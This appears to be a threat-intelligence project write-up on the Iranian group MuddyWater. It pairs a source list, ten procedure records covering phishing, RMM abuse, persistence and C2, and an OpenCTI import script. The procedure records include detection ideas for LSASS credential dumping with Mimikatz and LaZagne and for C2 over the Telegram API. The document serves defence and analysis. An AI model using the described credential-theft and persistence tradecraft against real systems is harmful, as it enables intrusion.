13. CERTFA Radar — MuddyWater Threat Actor Cluster
14. CERTFA Radar — MuddyWater / Earth Vetala Intrusion
15. Group-IB — MuddyWater APT Group Profile

Israel-Focused MuddyWater Sources

1. Israel National Cyber Directorate — MuddyWater page
2. Israel National Cyber Directorate — MuddyWater / DarkBit PDF
3. Israel National Cyber Directorate — Technological Advancement and Evolution of MuddyWater in 2024 PDF
4. Israel National Cyber Directorate — Overview of Recent Phishing PDF
5. ClearSky — Operation Quicksand: MuddyWater’s Offensive Attack Against Israeli Organizations
6. ClearSky — Operation Quicksand PDF
7. Microsoft — MERCURY and DEV-1084: Destructive attack on hybrid environment
8. Microsoft — Exposing POLONIUM activity and infrastructure targeting Israeli organizations
9. Proofpoint — TA450 Uses Embedded Links in PDF Attachments in Latest Campaign
10. HarfangLab — MuddyWater campaign abusing Atera Agents
11. Deep Instinct — DarkBeatC2: The Latest MuddyWater Attack Framework
12. SC Media — Novel C2 tool leveraged in latest MuddyWater attacks
13. Check Point — MuddyWater Threat Group Deploys New BugSleep Backdoor
14. ESET / WeLiveSecurity — MuddyWater: Snakes by the riverbank
15. ESET press release — Iran’s MuddyWater targets critical infrastructure in Israel and Egypt
16. Security Affairs — MuddyWater strikes Israel with advanced MuddyViper malware
17. The Hacker News — Iran-Linked MuddyWater Deploys Atera for Surveillance in Phishing Attacks

Recent / Evolving MuddyWater Activity

1. Proofpoint — Around the World in 90 Days: State-Sponsored Actors Try ClickFix
2. Proofpoint — Crossed Wires: a case study of Iranian espionage and attribution
3. Group-IB — Operation Olalampo: Inside MuddyWater’s Latest Campaign
4. The Hacker News — MuddyWater Targets MENA Organizations with GhostFetch, CHAR, and HTTP_VIP
5. Rapid7 — Muddying the Tracks: The State-Sponsored Shadow Behind Chaos Ransomware
6. The Hacker News — MuddyWater Uses Microsoft Teams to Steal Credentials in False Flag Ransomware Attack
7. Rapid7 — Iran Conflict Cyber Threat Intelligence
8. ExtraHop — The Digital Front of Iranian Cyber Offensive and Defensive Response
9. Abnormal Security — Tracking Iran-Aligned Cyber Operations Following U.S.-Israel Strikes
10. Unit 42 — Boggy Serpens Threat Assessment
11. Hive Pro — MuddyWater: Iran’s Adaptive Cyber Espionage Machine
12. Hive Pro — MuddyWater / Operation Olalampo PDF
13. Kaspersky ICS CERT — APT and financial attacks on industrial organizations in Q2 2024 PDF
14. Kaspersky ICS CERT — APT and financial attacks on industrial organizations in Q2 2025 PDF
15. Trend Micro — Annual APT Report 2025 PDF
16. Intel 471 — HUNTER Iranian Threat Actor Coverage PDF

Iran Threat Context and Comparison Actors

1. CISA — Iran Threat Overview and Advisories
2. CISA — Iran state-sponsored cyber threat publications
3. CISA — AA23–335A: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors
4. CISA — AA23–335A PDF
5. MITRE ATT&CK — APT34
6. MITRE ATT&CK — APT35 / Charming Kitten
7. MITRE ATT&CK — Agrius
8. Microsoft — Mint Sandstorm
9. Microsoft — Peach Sandstorm deploys new custom Tickler malware
10. Microsoft Learn — How Microsoft names threat actors
11. SentinelOne — Iranian Cyber Activity Outlook
12. Trellix — The Iranian Cyber Capability PDF

OpenCTI / STIX / Knowledge Graph References

1. OpenCTI documentation — Data model
2. OpenCTI documentation — GraphQL API
3. OpenCTI documentation — Deduplication
4. OASIS — STIX 2.1 HTML specification
5. OASIS — STIX 2.1 PDF specification
6. STIX Project — Relationships
7. STIXnet — Extracting STIX Objects in CTI Reports
8. From Text to Actionable Intelligence: Automating STIX Entity and Relationship Extraction
9. Context-aware Entity-Relation Extraction for Threat Intelligence Knowledge Graphs

Validate Before Promoting

1. Brandefense — MuddyWater PDF
2. KPMG — CTI Report MuddyWater PDF

Critical discipline: AI output was used only for source discovery. Every claim, mapping, and detection record required analyst review before entering the dataset.

Phase 2: Procedure Dataset

A procedure record is not an ATT&CK technique. ATT&CK describes what a class of actors can do. A procedure record describes what this actor did, in this campaign, as documented by this source, with a specific evidence label attached.

The distinction matters for detection. “Adversaries use scheduled tasks (T1053.005)” does not help you tune a detection rule. “BugSleep creates a scheduled task with a 43-minute repeat interval (INCD 2024, Observed)” does — because you now have a concrete interval to hunt for, a specific tool name, and a source you can cite in your detection rationale.

Each of the 10 records in data/procedures.yaml captures four things:

• The specific behavior — not the technique category
• The source references that support it, with evidence labels
• Candidate ATT&CK technique mappings and the reasoning behind each candidate
• Required telemetry, a detection idea, validation plan, and known limitations

Confidence Labels

Each record carries one of four evidence labels inherited from the source assessment:

Observed — the behavior appears directly in source telemetry, a recovered sample, a screenshot, or a government incident report with direct visibility into the event. This is the strongest label and the only one that justifies a high-priority detection without further corroboration.

Reported — a source states the behavior occurred, but the evidence is assertion-level rather than artifact-level. Still usable; requires corroboration before relying on it alone.

Assessed — the source draws an analytical conclusion based on multiple indicators. Appropriate for ATT&CK candidate mappings; not sufficient alone for a new detection claim.

Inferred — analyst conclusion derived from combining multiple reported facts across sources. Weakest label; flag for review before using in production.

All 10 procedures in this dataset carry Observed or High confidence. That is not a coincidence — it reflects the promotion threshold. Procedures that came only from secondary or inferred sources were not promoted into data/procedures.yaml; they stayed in the claim extraction notes for future work.

The 10 Procedures

proc_mw_0001 — Spearphishing Email Delivery Confidence: Observed · Sources: AA22–055A, INCD 2023, INCD 2024 · ATT&CK: T1566.001, T1566.002, T1534

Three delivery variants documented across all three primary government sources: ZIP attachments containing macro-enabled Excel files or PDFs; email links to Egnyte or OneDrive delivering compressed RMM installers; and emails sent from compromised legitimate accounts to increase lure credibility. In 2024, a Microsoft-update-lure campaign sent to 10,000+ accounts embedded a PowerShell API key, granting the actor direct agent access immediately after the RMM tool installed. Three independent government sources corroborate this procedure — it is the highest-confidence initial access vector in the dataset.

proc_mw_0002 — Public-Facing Exploitation Confidence: Observed · Sources: AA22–055A, INCD 2023, INCD 2024 · ATT&CK: T1190

Secondary initial access vector to phishing. Documented CVEs: CVE-2020–1472 (Netlogon/Zerologon), CVE-2020–0688 (Exchange), CVE-2021–44228 (Log4j), and unspecified VPN vulnerabilities confirmed by INCD 2024. Exploitation is typically followed by RMM tool deployment or custom backdoor staging. The VPN claim from INCD 2024 does not name a specific CVE — treat as Reported until a CVE is attributed.

proc_mw_0003 — PowerShell Execution and Script Obfuscation Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&CK: T1059.001, T1027

Cross-cutting technique present in every tool tier. PowGoop uses an obfuscated .dat + config.txt PowerShell chain for C2 beaconing. POWERSTATS is a persistent PowerShell backdoor. The 2024 lure embedded an API key executed via PowerShell to grant direct agent access. Obfuscation is applied consistently via Base64, XOR, and custom encoding. Detection anchor: Script Block Logging (EID 4104) is the primary telemetry dependency — without it, this procedure is nearly invisible to endpoint-only detection.

proc_mw_0004 — DLL Side-Loading Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&CK: T1574.002

PowGoop’s canonical execution method: a malicious DLL renamed Goopdate.dll placed alongside GoogleUpdate.exe, causing the legitimate signed binary to load and execute the malicious DLL. INCD 2024 confirms continued use across the 2024 toolset. Detection requires Sysmon EID 7 (image load) with signing status — not available from Windows Event Log alone. This is the most telemetry-constrained procedure in the dataset; validation was PARTIAL because the lab's stub DLL did not produce sufficient EID 7 signal.

proc_mw_0005 — Registry Run Key and Startup Folder Persistence Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&CK: T1547.001

Small Sieve adds index.exe under the Run key named OutlookMicrosift — mimicking a Microsoft application name. Canopy installs its first WSF script in the startup folder. AA22-055A documents an additional key: SystemTextEncoding. INCD 2024 confirms continued use. The specific key names (OutlookMicrosift, SystemTextEncoding) are high-confidence IoCs when present; a detection based only on "new Run key written by a non-installer" will generate noise in most enterprise environments.

proc_mw_0006 — Scheduled Task (43-Minute Beacon) Confidence: Observed · Source: INCD 2024 (single source) · ATT&CK: T1053.005

BugSleep creates a Windows scheduled task triggered every 43 minutes for C2 beaconing. The interval is documented as customizable, but 43 minutes is the specific value observed in the INCD 2024 analysis. This is a single-source procedure — INCD 2024 only — which is why it carries a coverage score of 4 (correlated analytic) rather than 5 in the detection atlas. Before treating this interval as a high-confidence fingerprint in production, corroborate with a vendor source.

proc_mw_0007 — RMM Tool Abuse Confidence: Observed · Sources: AA22–055A, INCD 2023, INCD 2024, multiple vendor sources · ATT&CK: T1219

The most consistently documented technique across all source tiers — five independent government and vendor sources corroborate it. Tool inventory across campaigns: ScreenConnect (2022), SyncroRAT (Israel 2023), rport.exe (DarkBit operation), AteraAgent (multiple vendor sources), SimpleHelp, Level, PDQConnect (2024). The 2024 lure embedded an API key so the actor had direct agent access the moment the victim installed the tool. Detection must rely on delivery context and parent process — not binary name alone, since these are legitimate commercial tools.

proc_mw_0008 — C2 via Web Protocols and DNS Tunneling Confidence: Observed · Sources: AA22–055A, INCD 2024 · ATT&CK: T1071.001, T1572, T1102

Multiple C2 channels documented. Small Sieve beacons via Telegram Bot API over HTTPS. Canopy sends collected data via HTTP POST. Blackout uses GET /questions and POST /about-us. AnchorRAT communicates over HTTPS port 443 in JSON format. Mori uses DNS tunneling. In 2024, Rentry.co was used as a legitimate platform for C2 redirection. The Telegram API is the highest-confidence detection anchor: outbound HTTPS to api.telegram.org from a non-browser process is unusual in enterprise environments and directly attributed across multiple sources.

proc_mw_0009 — WMI System Discovery Survey Confidence: Observed · Source: AA22–055A (script documented verbatim) · ATT&CK: T1047, T1082, T1016, T1033, T1518.001

MuddyWater runs a PowerShell script that queries WMI to collect: IP addresses (Win32_NetworkAdapterConfiguration), OS name and architecture (Win32_OperatingSystem), hostname, domain, username, and AV product names (root\SecurityCenter2\AntiVirusProduct). The collected data is assembled into a delimited string, encoded, and sent to C2. The exact script is reproduced in the CISA advisory. The SecurityCenter2 query is the detection anchor: legitimate enterprise software rarely queries this WMI namespace outside AV management contexts, making it a low-noise signal.

proc_mw_0010 — Credential Dumping from LSASS and Credential Stores Confidence: Observed · Source: AA22–055A · ATT&CK: T1003.001, T1003.004, T1003.005

Post-access credential access using three tools: Mimikatz and procdump64.exe against LSASS memory (T1003.001); LaZagne for LSA secrets (T1003.004) and cached domain credentials (T1003.005). Used post-exploitation to enable lateral movement with harvested credentials. Detection via Sysmon EID 10 (process accessing lsass.exe) is tool-agnostic — it fires regardless of whether the actor uses Mimikatz, procdump, or a custom variant with a different binary name. This is the most reliable detection path for this procedure.

Phase 3: OpenCTI Knowledge Graph

The procedure dataset and source register go into a self-hosted OpenCTI 6.2 instance. This creates the analytical record — queryable, relationship-aware, ATT&CK-linked.

OpenCTI Deployment

The stack used in this project is documented and publicly reproducible. The full deployment — Docker Compose, connectors, and an AI enrichment connector that calls Claude via the Anthropic API — lives in a dedicated project:

• GitHub: github.com/anpa1200/opencti-intelligent-shield

GitHub - anpa1200/opencti-intelligent-shield: OpenCTI AI-driven threat intelligence enrichment with Claude and Docusaurus documentation

• Medium guide:

The Intelligent Shield. OpenCTI

• Main guide: anpa1200.github.io/opencti-intelligent-shield

OpenCTI AI Enrichment | The Intelligent Shield

The Intelligent Shield project covers: OpenCTI core stack (Redis, Elasticsearch, MinIO, RabbitMQ, platform, workers), MITRE ATT&CK connector, and a custom internal enrichment connector that uses Claude to automatically summarize and enrich threat objects. Docker Compose files, a sanitized .env.example, and full setup instructions are all version-controlled.

To spin up the stack standalone (outside Operation Desert Hydra):

git clone https://github.com/anpa1200/opencti-intelligent-shield.git openCTI
cd openCTI
cp .env.example .env
# fill in tokens and passwords
./scripts/start-all.sh   # OpenCTI at :8080
./scripts/stop-all.sh    # halt, preserves volumes

In the context of Operation Desert Hydra the stack is embedded in stack/ and started with bash start.sh — no separate clone needed. The Intelligent Shield project is the standalone reference deployment for anyone who wants OpenCTI without the lab.

Step 10: Stack Start

bash start.sh --skip-lab   # starts OpenCTI + Elasticsearch + Kibana only

All 12 core containers start: Redis, Elasticsearch, MinIO, RabbitMQ, OpenCTI platform, 3 workers, and the MITRE ATT&CK connector.

Result: OpenCTI reachable at http://localhost:8080. All containers healthy.

Step 11: MITRE ATT&CK Connector Sync

The MITRE ATT&CK connector loads 846 techniques into the graph. This sync must complete before the import script can link procedures to techniques.

Result: 846 ATT&CK patterns loaded. Connector state: ACTIVE.

Step 12: Import Script

Script: tools/opencti_import.py

export OPENCTI_URL=http://localhost:8080
export OPENCTI_TOKEN=<admin token from stack/.env>
python3 tools/opencti_import.py

The script reads data/sources.yaml and data/procedures.yaml — it does not hardcode any intelligence. The YAML files are the single source of truth; the script is just a translation layer from those files into OpenCTI's API.

What it creates and why:

Step 1 — Iran MOIS (Identity: Organization). Every object in OpenCTI needs a createdBy reference. Creating the sponsoring organization first gives all downstream objects a consistent authoring context and makes the attribution relationship explicit in the graph: MuddyWater → attributed-to → Iran MOIS.

Step 2 — MuddyWater (Intrusion Set). The intrusion set object carries all known aliases: Seedworm, Mango Sandstorm, TA450, Static Kitten, TEMP.Zagros, Mercury, DEV-1084. Aliases matter for deduplication — OpenCTI uses them to avoid creating duplicate entities when the same actor appears under different names in different reports.

Step 3 — Malware catalog (9 objects). Each actor-developed tool gets a Malware object with a description derived from source reporting. The catalog: POWERSTATS, PowGoop, Small Sieve, Canopy, Mori, BugSleep, AnchorRAT, SyncroRAT, DarkBit.

Step 4 — Tool catalog (4 objects). Legitimate tools abused by the actor are STIX Tool objects, not Malware — the distinction matters for downstream analysis. The catalog: AteraAgent, SimpleHelp, Mimikatz, LaZagne.

Step 5 — uses relationships. MuddyWater → uses → each malware and tool object. These relationships make the graph queryable: “which tools does this actor use?” returns all 13 objects in one hop.

Step 6 — Reports from sources.yaml. One Report object per promoted source, with publisher, reliability rating, credibility score, actor claims, key entities, and ATT&CK candidates written into the description. MuddyWater is added as an object reference so each report is queryable from the actor page.

Step 7 — ATT&CK pattern links from procedures.yaml. Iterates all attck_candidates across the 10 procedure records and creates MuddyWater → uses → ATT&CK technique relationships. If the MITRE connector has not yet synced a technique, the script creates a stub Attack Pattern object (with x_mitre_id set) and flags it for enrichment. This prevents the import from failing on a timing issue between the connector sync and the import run.

The script is idempotent: every object lookup uses a read() before create(). Re-running after a partial failure or after the MITRE connector syncs simply confirms existing objects and fills in any gaps.

#!/usr/bin/env python3
"""
Desert Hydra — Phase 3 OpenCTI graph import.Reads data/sources.yaml and data/procedures.yaml and creates:
  - Identity:       Iran MOIS (organization)
  - Intrusion Set:  MuddyWater (with all known aliases)
  - Malware:        actor-developed tools (9 objects)
  - Tool:           legitimate tools abused (4 objects)
  - Reports:        one per promoted source (up to 20)
  - Relationships:  attributed-to, uses (malware/tool/ATT&CK)
Idempotent - existing objects are not duplicated.
ATT&CK pattern links are skipped for techniques not yet synced by the
MITRE connector; re-run the script after the MITRE sync completes.
Usage:
    export OPENCTI_URL=http://localhost:8080
    export OPENCTI_TOKEN=<admin-token>
    python3 tools/opencti_import.py
"""
import os
import sys
import yaml
from pathlib import Path
from pycti import OpenCTIApiClient
from pycti.entities.opencti_identity import IdentityTypes
# ── Bootstrap ─────────────────────────────────────────────────────────────────
OPENCTI_URL   = os.environ.get("OPENCTI_URL",   "http://localhost:8080")
OPENCTI_TOKEN = os.environ.get("OPENCTI_TOKEN", "")
REPO_ROOT     = Path(__file__).resolve().parent.parent
if not OPENCTI_TOKEN:
    sys.exit("ERROR: set OPENCTI_TOKEN environment variable")
api = OpenCTIApiClient(url=OPENCTI_URL, token=OPENCTI_TOKEN, log_level="error")
print(f"[desert-hydra] Connected  {OPENCTI_URL}")
# ── Load YAML data ─────────────────────────────────────────────────────────────
with open(REPO_ROOT / "data" / "sources.yaml") as f:
    SOURCES = yaml.safe_load(f)["sources"]
with open(REPO_ROOT / "data" / "procedures.yaml") as f:
    PROCEDURES = yaml.safe_load(f)["procedures"]
print(f"[desert-hydra] Loaded {len(SOURCES)} sources, {len(PROCEDURES)} procedures")
# ── TLP:WHITE ─────────────────────────────────────────────────────────────────
def get_tlp_white():
    results = api.marking_definition.list(
        filters={
            "mode": "and",
            "filters": [{"key": "definition", "values": ["TLP:WHITE"]}],
            "filterGroups": [],
        }
    )
    if results:
        return results[0]["id"]
    obj = api.marking_definition.create(
        definition_type="TLP",
        definition="TLP:WHITE",
        x_opencti_color="#ffffff",
        x_opencti_order=0,
    )
    return obj["id"]
TLP_WHITE = get_tlp_white()
# ── Helpers ───────────────────────────────────────────────────────────────────
def _find(accessor, name):
    """Look up a STIX object by name. Returns the object dict or None."""
    return accessor.read(
        filters={
            "mode": "and",
            "filters": [{"key": "name", "values": [name]}],
            "filterGroups": [],
        }
    )

def link(from_id, to_id, rel_type, confidence=80):
    """Create a STIX core relationship; silently skip if it already exists."""
    try:
        api.stix_core_relationship.create(
            fromId=from_id,
            toId=to_id,
            relationship_type=rel_type,
            confidence=confidence,
            objectMarking=[TLP_WHITE],
        )
    except Exception:
        pass

ATTCK_NAMES = {
    "T1574.002": "DLL Side-Loading",
    "T1574.001": "DLL Search Order Hijacking",
    "T1546.015": "Component Object Model Hijacking",
    "T1218.010": "Regsvr32",
}
def find_or_create_attack_pattern(mitre_id):
    """Look up an ATT&CK pattern by x_mitre_id. Create stub if not synced yet."""
    result = api.attack_pattern.read(
        filters={
            "mode": "and",
            "filters": [{"key": "x_mitre_id", "values": [mitre_id]}],
            "filterGroups": [],
        }
    )
    if result:
        return result["id"], False
    name = ATTCK_NAMES.get(mitre_id, mitre_id)
    obj = api.attack_pattern.create(
        name=name,
        x_mitre_id=mitre_id,
        description=f"MITRE ATT&CK technique {mitre_id}. Created as stub pending MITRE connector sync.",
        objectMarking=[TLP_WHITE],
        confidence=75,
    )
    return obj["id"], True
# ── Step 1: Iran MOIS Identity ────────────────────────────────────────────────
existing = _find(api.identity, "Iran MOIS")
if existing:
    MOIS_ID = existing["id"]
else:
    obj = api.identity.create(
        type=IdentityTypes.ORGANIZATION.value,
        name="Iran MOIS",
        description=(
            "Iranian Ministry of Intelligence and Security (MOIS). "
            "State sponsor attributed to MuddyWater cyber operations by CISA, FBI, "
            "CNMF, NCSC-UK, and NSA in joint advisory AA22-055A (February 2022)."
        ),
        objectMarking=[TLP_WHITE],
        confidence=85,
    )
    MOIS_ID = obj["id"]
# ── Step 2: MuddyWater Intrusion Set ──────────────────────────────────────────
existing = _find(api.intrusion_set, "MuddyWater")
if existing:
    MW_ID = existing["id"]
else:
    obj = api.intrusion_set.create(
        name="MuddyWater",
        aliases=[
            "Seedworm", "Mango Sandstorm", "TA450",
            "Static Kitten", "TEMP.Zagros", "Mercury", "DEV-1084",
        ],
        description=(
            "Iranian MOIS subordinate threat group active since at least 2017. "
            "Targets government, defense, telecom, oil and gas, and MSPs globally. "
            "Significant focus on Israeli organizations since 2022. Known for "
            "spearphishing, RMM tool abuse, and a shift toward in-house tooling "
            "(BugSleep, AnchorRAT) beginning ~May 2024."
        ),
        resource_level="government",
        primary_motivation="espionage",
        confidence=85,
        objectMarking=[TLP_WHITE],
        createdBy=MOIS_ID,
    )
    MW_ID = obj["id"]
link(MW_ID, MOIS_ID, "attributed-to", 85)
# ── Step 3: Malware catalog ────────────────────────────────────────────────────
MALWARE_CATALOG = [
    {"name": "POWERSTATS",  "aliases": ["Powermud"],   "description": "MuddyWater first-stage PowerShell backdoor (MITRE S0223)."},
    {"name": "PowGoop",     "aliases": ["Goopdate"],   "description": "DLL loader hijacking GoogleUpdate.exe via side-loading (MITRE S1046)."},
    {"name": "Small Sieve", "aliases": [],             "description": "Python backdoor compiled as NSIS; Telegram Bot API C2; OutlookMicrosift Run key."},
    {"name": "Canopy",      "aliases": ["Starwhale"],  "description": "Excel-macro dropper; startup folder persistence; HTTP POST C2."},
    {"name": "Mori",        "aliases": [],             "description": "DNS-tunneling backdoor deployed as FML.dll via regsvr32.exe."},
    {"name": "BugSleep",    "aliases": [],             "description": "In-house backdoor (2024); 43-minute scheduled task; shellcode injection."},
    {"name": "AnchorRAT",   "aliases": [],             "description": "Custom RAT (2024); COM hijacking persistence (T1546.015)."},
    {"name": "SyncroRAT",   "aliases": [],             "description": "RMM-based RAT; Technion campaign (Feb 2023); Log4j initial access."},
    {"name": "DarkBit",     "aliases": [],             "description": "Ransomware/wiper; Technion attack; vssadmin shadow copy deletion."},
]
MALWARE_IDS = {}
for m in MALWARE_CATALOG:
    existing = _find(api.malware, m["name"])
    if existing:
        MALWARE_IDS[m["name"]] = existing["id"]
    else:
        obj = api.malware.create(
            name=m["name"], aliases=m["aliases"],
            description=m["description"], is_family=False,
            objectMarking=[TLP_WHITE], createdBy=MOIS_ID,
        )
        MALWARE_IDS[m["name"]] = obj["id"]
# ── Step 4: Tool catalog ──────────────────────────────────────────────────────
TOOL_CATALOG = [
    {"name": "AteraAgent",  "aliases": ["Atera RMM"], "description": "Commercial RMM abused for persistent remote access via phishing."},
    {"name": "SimpleHelp",  "aliases": [],            "description": "Commercial RMM abused in 2024 Israeli targeting."},
    {"name": "Mimikatz",    "aliases": [],            "description": "LSASS credential dumping (T1003.001), used with procdump64.exe."},
    {"name": "LaZagne",     "aliases": [],            "description": "LSA secrets (T1003.004) and cached domain credential dumping (T1003.005)."},
]
TOOL_IDS = {}
for t in TOOL_CATALOG:
    existing = _find(api.tool, t["name"])
    if existing:
        TOOL_IDS[t["name"]] = existing["id"]
    else:
        obj = api.tool.create(
            name=t["name"], aliases=t["aliases"],
            description=t["description"],
            objectMarking=[TLP_WHITE], createdBy=MOIS_ID,
        )
        TOOL_IDS[t["name"]] = obj["id"]
# ── Step 5: uses relationships ────────────────────────────────────────────────
for mid in MALWARE_IDS.values():
    link(MW_ID, mid, "uses", 80)
for tid in TOOL_IDS.values():
    link(MW_ID, tid, "uses", 80)
# ── Step 6: Reports from sources.yaml ────────────────────────────────────────
SOURCE_DATES = {
    "src_usgov_aa22_055a_pdf_mirror":        "2022-02-24T00:00:00.000Z",
    "src_incd_muddywater_darkbit_2023":      "2023-02-07T00:00:00.000Z",
    "src_incd_muddywater_2024_evolution":    "2024-06-01T00:00:00.000Z",
    "src_cisa_aa22_055a_page":               "2022-02-24T00:00:00.000Z",
    "src_ncsc_uk_muddywater_joint_advisory": "2022-02-24T00:00:00.000Z",
    "src_incd_recent_phishing_1947":         "2024-09-01T00:00:00.000Z",
    "src_mitre_attack_muddywater_g0069":     "2024-01-01T00:00:00.000Z",
}
REPORT_IDS = {}
for src in SOURCES:
    src_id   = src["id"]
    title    = src["title"]
    pub_date = SOURCE_DATES.get(src_id, "2023-01-01T00:00:00.000Z")
    confidence = 85 if src.get("source_reliability") == "A" else 70
    description = (
        f"Publisher: {src['publisher']}\n"
        f"Reliability: {src.get('source_reliability','?')} / "
        f"Credibility: {src.get('information_credibility','?')}\n"
        f"URL: {src['url']}\n"
        f"Actor claims: {', '.join(src.get('actor_claims', []))}\n"
        f"ATT&CK candidates: {', '.join(src.get('candidate_attck_techniques', []))}"
    )
    existing = _find(api.report, title)
    if existing:
        REPORT_IDS[src_id] = existing["id"]
    else:
        obj = api.report.create(
            name=title, published=pub_date,
            description=description,
            report_types=["threat-report"],
            confidence=confidence,
            objectMarking=[TLP_WHITE],
            createdBy=MOIS_ID,
            objects=[MW_ID],
        )
        REPORT_IDS[src_id] = obj["id"]
# ── Step 7: ATT&CK pattern links from procedures ──────────────────────────────
linked, stubs = set(), []
for proc in PROCEDURES:
    for candidate in proc.get("attck_candidates", []):
        tid = candidate["technique"]
        if tid in linked:
            continue
        pattern_id, created_as_stub = find_or_create_attack_pattern(tid)
        link(MW_ID, pattern_id, "uses", 75)
        linked.add(tid)
        if created_as_stub:
            stubs.append(tid)
# ── Summary ───────────────────────────────────────────────────────────────────
print(f"Import complete - malware: {len(MALWARE_IDS)}, tools: {len(TOOL_IDS)}, "
      f"reports: {len(REPORT_IDS)}, ATT&CK links: {len(linked)}, stubs: {len(stubs)}")